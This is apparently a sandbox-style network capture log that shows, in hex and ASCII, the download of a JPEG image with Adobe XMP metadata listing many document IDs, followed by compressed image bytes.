2022-07-20 17:31:07 UTC	5309	IN	Data Raw: 30 39 41 32 30 34 44 37 35 32 31 36 38 31 31 38 38 44 31 38 33 45 45 43 38 45 46 46 35 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 42 45 34 41 44 31 34 38 32 30 36 38 31 31 39 37 41 35 44 39 33 42 31 34 32 41 44 31 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 42 46 30 35 42 41 36 44 32 30 36 38 31 31 38 37 31 46 38 36 33 32 32 35 37 43 46 42 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 43 41 39 33 42 30 33 32 32 30 36 38 31 31 42 31 41 34 42 33 30 42 34 46 39 45 37 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 44 42 35 38 41 41 39 44 39 42 45 32 31 31 38 39 33 39 44 34 46 37 Data Ascii: 09A204D7521681188D183EEC8EFF5E5</rdf:li> <rdf:li>xmp.did:70BE4AD14820681197A5D93B142AD18E</rdf:li> <rdf:li>xmp.did:70BF05BA6D206811871F8632257CFBF9</rdf:li> <rdf:li>xmp.did:70CA93B032206811B1A4B30B4F9E7B39</rdf:li> <rdf:li>xmp.did:70DB58AA9D9BE2118939D4F7
2022-07-20 17:31:07 UTC	5316	IN	Data Raw: 69 64 3a 37 37 43 30 32 38 45 45 39 46 42 31 44 46 31 31 42 38 38 38 44 30 46 30 36 39 34 31 32 39 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 43 34 37 44 36 42 39 44 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 31 30 32 44 37 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 44 33 42 36 33 35 42 45 32 30 36 38 31 31 39 31 30 39 45 36 32 30 37 31 44 41 45 46 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 45 30 44 46 32 44 39 36 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 45 43 46 43 46 42 32 41 45 39 31 31 45 33 42 33 30 33 Data Ascii: id:77C028EE9FB1DF11B888D0F06941290A</rdf:li> <rdf:li>xmp.did:77C47D6B9D2068118083F9D3D102D7DD</rdf:li> <rdf:li>xmp.did:77D3B635BE2068119109E62071DAEFEC</rdf:li> <rdf:li>xmp.did:77E0DF2D962068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:77ECFCFB2AE911E3B303
2022-07-20 17:31:07 UTC	5332	IN	Data Raw: 39 31 30 39 38 35 41 32 34 42 30 41 41 37 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 34 41 43 44 31 46 30 38 32 30 36 38 31 31 38 30 38 33 44 37 41 43 43 46 43 35 30 31 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 38 44 30 45 41 35 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 38 64 30 64 39 34 2d 33 63 65 63 2d 34 61 33 31 2d 38 66 32 37 2d 38 61 36 65 31 39 35 61 61 32 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 42 35 35 34 32 46 43 35 32 30 36 38 31 31 39 31 30 39 42 34 42 43 37 44 42 39 45 35 34 46 3c 2f 72 Data Ascii: 910985A24B0AA78C</rdf:li> <rdf:li>xmp.did:874ACD1F082068118083D7ACCFC50199</rdf:li> <rdf:li>xmp.did:878D0EA5FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:878d0d94-3cec-4a31-8f27-8a6e195aa247</rdf:li> <rdf:li>xmp.did:87B5542FC52068119109B4BC7DB9E54F</r
2022-07-20 17:31:07 UTC	5348	IN	Data Raw: 34 31 34 61 2d 62 65 65 66 2d 38 30 31 31 31 37 65 62 30 61 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 63 30 66 31 37 32 2d 37 61 62 61 2d 34 38 33 62 2d 39 35 39 61 2d 35 37 37 33 39 39 64 38 34 34 37 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 63 61 62 36 63 32 2d 63 66 64 35 2d 36 64 34 30 2d 62 36 39 34 2d 30 30 63 31 65 37 39 62 31 34 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 66 61 32 39 38 66 2d 30 64 36 39 2d 34 34 63 30 2d 38 37 66 64 2d 36 38 31 32 35 64 62 32 32 64 66 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 30 36 39 30 33 64 2d 62 31 32 32 2d 65 64 34 61 2d 39 38 Data Ascii: 414a-beef-801117eb0af5</rdf:li> <rdf:li>xmp.did:94c0f172-7aba-483b-959a-577399d8447c</rdf:li> <rdf:li>xmp.did:94cab6c2-cfd5-6d40-b694-00c1e79b147b</rdf:li> <rdf:li>xmp.did:94fa298f-0d69-44c0-87fd-68125db22df4</rdf:li> <rdf:li>xmp.did:9506903d-b122-ed4a-98
2022-07-20 17:31:07 UTC	5356	IN	Data Raw: 64 69 64 3a 39 43 45 31 35 44 38 33 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 31 37 43 41 45 33 38 41 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 34 32 42 30 45 44 44 37 43 34 45 30 31 31 39 42 42 31 45 31 37 45 39 37 44 34 42 37 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 34 41 38 43 35 45 43 41 37 39 45 32 31 31 38 32 38 31 46 42 33 31 38 34 32 39 30 42 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 37 32 38 38 46 33 31 41 32 30 36 38 31 31 38 43 31 Data Ascii: did:9CE15D830A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:9D17CAE38A2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:9D42B0EDD7C4E0119BB1E17E97D4B75C</rdf:li> <rdf:li>xmp.did:9D4A8C5ECA79E2118281FB3184290BB9</rdf:li> <rdf:li>xmp.did:9D7288F31A2068118C1
2022-07-20 17:31:07 UTC	5372	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 32 45 34 46 42 32 42 32 42 32 30 36 38 31 31 38 30 38 33 45 46 43 32 32 32 36 38 46 32 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 30 33 46 36 36 42 30 43 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 35 38 43 30 46 33 32 32 35 33 45 33 31 31 41 39 36 36 42 31 31 42 41 43 39 35 38 41 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 36 30 33 46 38 33 39 42 35 45 31 31 45 30 42 43 36 41 43 33 46 38 46 35 42 34 46 46 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 39 42 35 34 45 46 33 Data Ascii: df:li>xmp.did:B2E4FB2B2B2068118083EFC22268F23E</rdf:li> <rdf:li>xmp.did:B303F66B0C2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:B358C0F32253E311A966B11BAC958AEC</rdf:li> <rdf:li>xmp.did:B3603F839B5E11E0BC6AC3F8F5B4FF5C</rdf:li> <rdf:li>xmp.did:B39B54EF3
2022-07-20 17:31:07 UTC	5388	IN	Data Raw: 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 33 31 30 38 31 36 37 33 31 32 31 31 44 46 42 31 30 32 38 32 37 41 36 32 38 37 41 44 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 34 34 42 46 33 37 32 44 32 30 36 38 31 31 38 32 32 41 44 38 39 42 32 38 35 43 36 33 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 34 37 34 42 42 38 44 39 41 45 45 30 31 31 38 32 36 30 39 41 35 38 42 31 33 35 31 32 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 38 45 44 36 41 42 34 34 32 44 31 31 45 30 38 38 32 30 41 37 42 46 42 45 39 31 44 36 41 32 3c 2f 72 64 66 Data Ascii: 118083E18EC590233A</rdf:li> <rdf:li>xmp.did:CB310816731211DFB102827A6287AD61</rdf:li> <rdf:li>xmp.did:CB44BF372D206811822AD89B285C6316</rdf:li> <rdf:li>xmp.did:CB474BB8D9AEE01182609A58B13512FC</rdf:li> <rdf:li>xmp.did:CB8ED6AB442D11E08820A7BFBE91D6A2</rdf
2022-07-20 17:31:07 UTC	5396	IN	Data Raw: 3a 44 34 39 32 41 31 32 37 42 37 39 38 45 30 31 31 42 35 31 36 41 34 46 41 37 37 32 45 35 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 39 46 39 46 31 44 33 30 32 30 36 38 31 31 39 39 34 43 42 41 37 45 46 34 46 30 44 41 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 42 45 33 32 38 30 43 31 35 46 45 31 31 31 39 32 32 37 41 44 30 46 37 38 36 35 31 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 44 39 43 37 35 39 35 41 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 45 42 35 34 31 30 41 31 33 45 45 30 31 31 41 44 42 36 46 33 Data Ascii: :D492A127B798E011B516A4FA772E5845</rdf:li> <rdf:li>xmp.did:D49F9F1D30206811994CBA7EF4F0DA82</rdf:li> <rdf:li>xmp.did:D4BE3280C15FE1119227AD0F78651355</rdf:li> <rdf:li>xmp.did:D4D9C7595A20681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:D4EB5410A13EE011ADB6F3
2022-07-20 17:31:07 UTC	5412	IN	Data Raw: 32 33 32 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 36 30 31 34 32 31 35 44 46 33 45 30 31 31 39 45 30 45 38 45 36 37 30 38 32 31 31 37 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 38 34 36 45 30 31 32 30 31 46 31 31 36 38 42 45 44 43 43 41 43 44 36 44 33 38 37 44 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 38 39 44 30 37 39 38 36 32 30 36 38 31 31 38 32 33 46 44 31 34 44 45 32 43 38 43 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 39 36 44 32 36 30 33 46 33 34 45 33 31 31 41 41 33 32 43 33 33 44 41 31 44 35 45 31 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: 23267</rdf:li> <rdf:li>xmp.did:EB6014215DF3E0119E0E8E6708211705</rdf:li> <rdf:li>xmp.did:EB846E01201F1168BEDCCACD6D387D8E</rdf:li> <rdf:li>xmp.did:EB89D07986206811823FD14DE2C8C875</rdf:li> <rdf:li>xmp.did:EB96D2603F34E311AA32C33DA1D5E1C4</rdf:li> <rdf:li>
2022-07-20 17:31:07 UTC	5428	IN	Data Raw: 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 38 38 46 30 39 39 46 32 34 45 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 36 34 43 36 38 43 46 38 41 31 41 41 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 42 30 30 45 36 35 39 32 32 45 34 36 42 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 39 33 31 35 37 46 31 36 32 30 36 38 31 31 39 37 41 35 46 31 39 39 37 36 30 34 35 45 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 42 31 32 30 30 45 43 38 32 30 36 38 31 31 38 46 36 32 Data Ascii: id:F87F117407206811945788F099F24EDC</rdf:li> <rdf:li>xmp.did:F87F117407206811A764C68CF8A1AA40</rdf:li> <rdf:li>xmp.did:F87F117407206811BB00E65922E46BA7</rdf:li> <rdf:li>xmp.did:F893157F1620681197A5F19976045E47</rdf:li> <rdf:li>xmp.did:F8B1200EC82068118F62
2022-07-20 17:31:07 UTC	5432	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 31 31 42 42 37 45 30 30 46 30 45 35 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 31 41 37 44 31 39 42 46 41 38 31 35 33 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 38 35 30 44 34 32 30 39 32 30 36 38 31 31 39 37 38 35 38 30 37 37 46 33 31 41 30 32 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 Data Ascii: f:li> <rdf:li>xmp.did:FA7F117407206811A11BB7E00F0E5F6B</rdf:li> <rdf:li>xmp.did:FA7F117407206811A1A7D19BFA8153BA</rdf:li> <rdf:li>xmp.did:FA7F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:FA850D420920681197858077F31A0299</rdf:li> <rdf:li>xmp.did:F
2022-07-20 17:31:07 UTC	5448	IN	Data Raw: 32 66 38 30 31 38 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 62 37 36 38 61 33 2d 30 65 35 31 2d 34 34 31 37 2d 38 39 31 64 2d 63 35 33 61 37 64 35 32 32 31 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 62 38 39 38 63 65 2d 61 38 38 62 2d 34 64 30 63 2d 62 31 35 35 2d 33 39 64 61 34 64 62 37 37 61 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 62 66 62 30 35 35 2d 65 39 36 38 2d 34 38 39 33 2d 62 31 33 32 2d 32 35 65 39 39 34 30 32 66 65 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 64 33 33 30 32 66 2d 63 64 34 30 2d 34 32 65 37 2d 62 65 37 63 2d 35 37 36 30 35 61 30 31 39 37 36 Data Ascii: 2f801847</rdf:li> <rdf:li>xmp.did:b7b768a3-0e51-4417-891d-c53a7d522109</rdf:li> <rdf:li>xmp.did:b7b898ce-a88b-4d0c-b155-39da4db77afd</rdf:li> <rdf:li>xmp.did:b7bfb055-e968-4893-b132-25e99402fe1e</rdf:li> <rdf:li>xmp.did:b7d3302f-cd40-42e7-be7c-57605a01976
2022-07-20 17:31:07 UTC	5464	IN	Data Raw: 37 66 61 35 31 31 36 66 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 62 64 63 62 37 66 2d 37 37 39 31 2d 34 38 30 62 2d 62 36 32 33 2d 61 66 37 64 61 37 39 39 65 35 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 63 34 37 37 30 30 2d 38 62 62 31 2d 34 36 63 66 2d 61 64 35 37 2d 62 35 66 62 61 35 32 64 32 65 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 64 66 38 32 61 30 2d 38 32 39 38 2d 30 38 34 32 2d 61 38 39 31 2d 37 38 62 33 34 30 33 38 31 62 61 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 61 38 31 62 32 62 31 2d 66 62 66 61 2d 33 33 34 66 2d 62 34 38 31 2d 32 63 64 61 37 63 37 62 62 33 Data Ascii: 7fa5116f0</rdf:li> <rdf:li>xmp.did:e9bdcb7f-7791-480b-b623-af7da799e5ab</rdf:li> <rdf:li>xmp.did:e9c47700-8bb1-46cf-ad57-b5fba52d2e20</rdf:li> <rdf:li>xmp.did:e9df82a0-8298-0842-a891-78b340381bac</rdf:li> <rdf:li>xmp.did:ea81b2b1-fbfa-334f-b481-2cda7c7bb3
2022-07-20 17:31:07 UTC	5471	IN	Data Raw: 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 ff ee 00 0e 41 64 6f 62 65 00 64 00 00 00 00 01 ff db 00 84 00 0a 07 07 0b 08 0b 12 0a 0a 12 16 11 0e 11 16 1b 17 16 16 17 1b 22 17 17 17 17 17 22 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0b 0e 0e 1f 13 1f 22 18 18 22 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 07 80 04 38 03 01 11 00 02 11 01 03 11 01 ff dd 00 04 00 87 ff c4 00 d3 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 05 00 02 03 04 06 01 07 08 01 00 03 01 01 01 01 01 00 00 00 00 00 00 00 Data Ascii: scription> </rdf:RDF> </x:xmpmeta> Adobed""""8
2022-07-20 17:31:07 UTC	5487	IN	Data Raw: c1 ae 8b 31 25 07 22 c7 c4 da 53 a0 ac 14 36 9b 96 7d 5d bc b1 eb 6f 0f b1 53 58 5b 0d ea 5f 31 db b4 58 fe 8a d9 58 cd d6 0e 84 24 5c 76 76 55 48 40 1f 27 68 c1 dd f2 23 cd 99 e4 1d 35 68 d4 c4 fa 4a 3a 37 c6 49 93 9f ad 1f 3c 5a 7e 17 af 43 1a 50 09 dc f7 5d ff 00 66 9a 28 b3 26 80 e1 4a e2 3f 9e 11 6a 91 2f f0 df 2e 0d 5d 18 e5 fd e6 8e 95 49 48 1d bc f9 7e 2d a7 34 ac b2 36 4e 44 c8 25 91 de da c3 5f 47 36 9e 5e 9c 9f 85 5e 5f 7b 77 5a e8 53 23 4d 92 5d e2 29 71 f1 23 46 91 42 96 bd 93 4a b1 ef f5 3d 9d 3a eb 83 b4 ad ed 6e 53 d1 52 50 07 1b 66 9f 2b 15 66 8e 3d 2a bd 8e 78 5e fe ae ae 67 d5 eb a5 7a f6 bf 1d 59 52 17 93 6e 93 69 5c 49 99 a1 c9 ea f5 54 c5 25 97 4d d7 e3 34 9e f7 57 4b f0 3b 9e fa ad 35 12 06 02 35 30 bb 2d ee 45 c1 3f 4d ab 47 a9 a9 Data Ascii: 1%"S6}]oSX[_1XX$\vvUH@'h#5hJ:7I<Z~CP]f(&J?j/.]IH~-46ND%_G6^^_{wZS#M])q#FBJ=:nSRPf+f=*x^gzYRni\IT%M4WK;550-E?MG
2022-07-20 17:31:07 UTC	5503	IN	Data Raw: 7d 34 40 cf 59 dd a4 c9 9b 64 c4 df 22 37 c8 c7 88 4c e4 8b 96 8e 54 f9 5c bf d9 f7 94 db d0 98 d4 f3 5d 80 e0 8c 99 06 e0 d6 84 41 26 92 2f 73 2d bf cb aa 7b 4c d5 31 a1 4c e6 06 39 ca 7e bc bc ab 7b 28 ff 00 b7 a9 43 70 a0 45 e3 3a 43 38 58 54 48 41 b8 04 f0 d5 6f 16 9f 6a a5 6d a8 13 e6 e7 6e 79 a4 c9 9d 3b 96 3c 0a 2d 90 58 72 e8 e4 f6 6a 65 78 01 4f 0f 15 65 9d 12 32 63 d5 c0 b9 e2 40 f5 e8 b3 85 a8 8d 06 d1 99 0e 1c 2f 89 9e 54 c3 2c 4c 03 db 58 66 4f fa 7e ef e1 fa f1 d2 4f 50 0d 63 79 9a 1d b4 26 3e 19 ea e1 48 a5 a1 79 0b 75 31 c3 ae 89 f1 fd 7f 73 f8 74 dd e0 09 b2 fc cf 8f b8 c2 a2 35 2b 0c 01 63 25 85 d9 95 7f bf 51 67 20 66 3c a7 0c bb a6 7a 3c 9a f2 59 63 95 62 5e de 92 2f 26 1a 47 af dd 44 a9 f1 3a 7e a5 69 00 1f df f1 32 72 27 89 33 b2 12 Data Ascii: }4@Yd"7LT\]A&/s-{L1L9~{(CpE:C8XTHAojmny;<-XrjexOe2c@/T,LXfO~OPcy&>Hyu1st5+c%Qg f<z<Ycb^/&GD:~i2r'3
2022-07-20 17:31:07 UTC	5511	IN	Data Raw: 34 5d 4d a8 0e 48 65 f0 44 9e 36 aa 4c 03 1b 76 e4 b9 88 c6 65 68 66 8d ad 2c 72 72 ba 5f 99 1f da 49 57 e1 ba 53 92 58 ec 55 92 41 d5 c8 50 af a9 8a 01 da a8 7b ba db f3 24 4e fd 01 26 67 fd 43 9a 3c 68 f1 c0 3a 65 c8 59 12 42 06 a2 61 1a 74 b3 7f 8b c9 ae a2 35 2d 18 93 2e 13 45 d2 8e fd 4b 71 76 b8 e3 f6 3e 1d 43 4c a3 37 31 31 3b 5f e9 ad 0a 24 83 24 b3 58 d1 b0 04 da 10 e3 97 b6 a1 31 14 e5 0c 0d 88 b1 ec ad 50 16 a2 c4 97 30 c7 8b 00 32 4d 29 01 51 7b c4 ff 00 65 7d 77 a8 4f 50 34 99 5f e9 ce e9 b7 e3 3b a8 8a 72 01 2c 22 6d 4c 07 8b 92 45 8f a9 fe 1d 0c 52 1f c0 59 bc e3 3a 4a 42 47 8f 8d 14 6a c4 82 cd ac 8d 5e ef e1 fb de 5f 1f c1 4a 50 2d 8d 3c 9b 3a 62 63 b3 61 95 59 55 09 67 95 56 45 75 4d 52 7b c5 75 d1 1f db 4a 70 29 3c d3 74 cf 5d d7 22 5d Data Ascii: 4]MHeD6Lvehf,rr_IWSXUAP{$N&gC<h:eYBat5-.EKqv>CL711;_$$X1P02M)Q{e}wOP4_;r,"mLERY:JBGj^_JP-<:bcaYUgVEuMR{uJp)<t]"]
2022-07-20 17:31:07 UTC	5527	IN	Data Raw: ca 92 34 f0 46 d0 c6 5b a5 23 07 31 f8 35 8e 55 97 4f e6 51 32 52 3d 4f fd 2f da d2 2d a9 77 1b 6b c9 95 9d 09 e2 7a 31 a1 ff 00 a5 4f c9 d5 f1 a5 d1 df a0 8b 1a f5 91 89 61 c3 4f 0b 5b b4 d5 34 66 86 96 fa 45 21 83 33 31 9d 22 9c e3 49 29 95 95 8c 65 9b 5e 87 f0 24 3a 87 24 5e c5 34 04 d8 58 24 c3 0c d3 70 c9 11 05 66 3d b7 23 de 6a 6f b5 4b c4 24 64 cf 26 5e 3b c1 03 2e a7 ba f1 25 2e 01 f7 9c eb cc 9d 45 f1 a5 53 40 61 e4 dd d5 b3 06 e5 81 86 67 cc c6 91 ac 21 bb 43 d3 5e 5e b6 a5 f8 7a 53 fe 35 22 a0 d4 41 e6 3d b7 cd 31 b6 1e de 1a 57 d2 1e 40 d7 88 42 3d 7e ba 73 33 eb e4 44 8b bf 42 14 15 d2 6d ef 65 c8 5d 62 0d c2 20 c4 46 d2 37 46 6e 23 e1 c9 2b fb 86 99 23 ee eb a4 d0 cb 13 ee 87 7a 88 e2 b6 06 5c 7a c8 2e aa aa 21 b1 e4 d5 f3 28 fd 3c 8e 9f 7b Data Ascii: 4F[#15UOQ2R=O/-wkz1OaO[4fE!31"I)e^$:$^4X$pf=#joK$d&^;.%.ES@ag!C^^zS5"A=1W@B=~s3DBme]b F7Fn#+#z\z.!(<{
2022-07-20 17:31:07 UTC	5543	IN	Data Raw: f9 57 cd 32 f9 77 20 eb 5e ae 1c c4 09 a2 3c 4d bb 9d 7c 7f de aa 78 3f 16 a9 12 d0 02 64 8e 29 19 61 3a a2 0c da 1a d6 ba 5f dd 72 b7 32 f2 50 32 48 da d4 80 2f e5 ed dd f6 bc e8 b2 d4 81 a5 b4 b1 3d dd 12 fb 89 75 e9 fc bd 5d 5f f0 e8 d9 92 cf 6e 8b 03 1f 12 33 34 4e ed a4 dc f1 d4 ac de b3 23 55 c9 25 3c a9 f1 f2 e7 32 c6 03 10 9a 09 fa 7d 6e 5a 7b 09 b0 2e 6e 6e 5e 26 64 18 b8 91 6b c7 70 7a 8c d7 e4 1e cc 9e b5 4e e0 12 2f 7f fe ed 34 48 c9 1a 46 25 4d fa 22 d6 07 b0 bd ff 00 a9 4c 72 cf ff d3 f5 ed 75 50 67 22 d7 4e 02 45 ae 94 04 8b 5d 10 12 77 5d 10 12 2d 74 40 48 b5 50 39 3b aa 80 93 9a a8 09 3b aa 80 91 6a a0 72 2b d0 02 d5 40 48 b5 50 29 15 e8 1c 9d bd 01 22 bd 01 22 d5 40 48 af 40 48 b5 52 09 15 e8 09 16 aa 02 45 7a 02 45 7a 00 ed e8 01 5e 80 Data Ascii: W2w ^<M\|x?d)a:_r2P2H/=u]_n34N#U%<2}nZ{.nn^&dkpzN/4HF%M"LruPg"NE]w]-t@HP9;;jr+@HP)""@H@HREzEz^
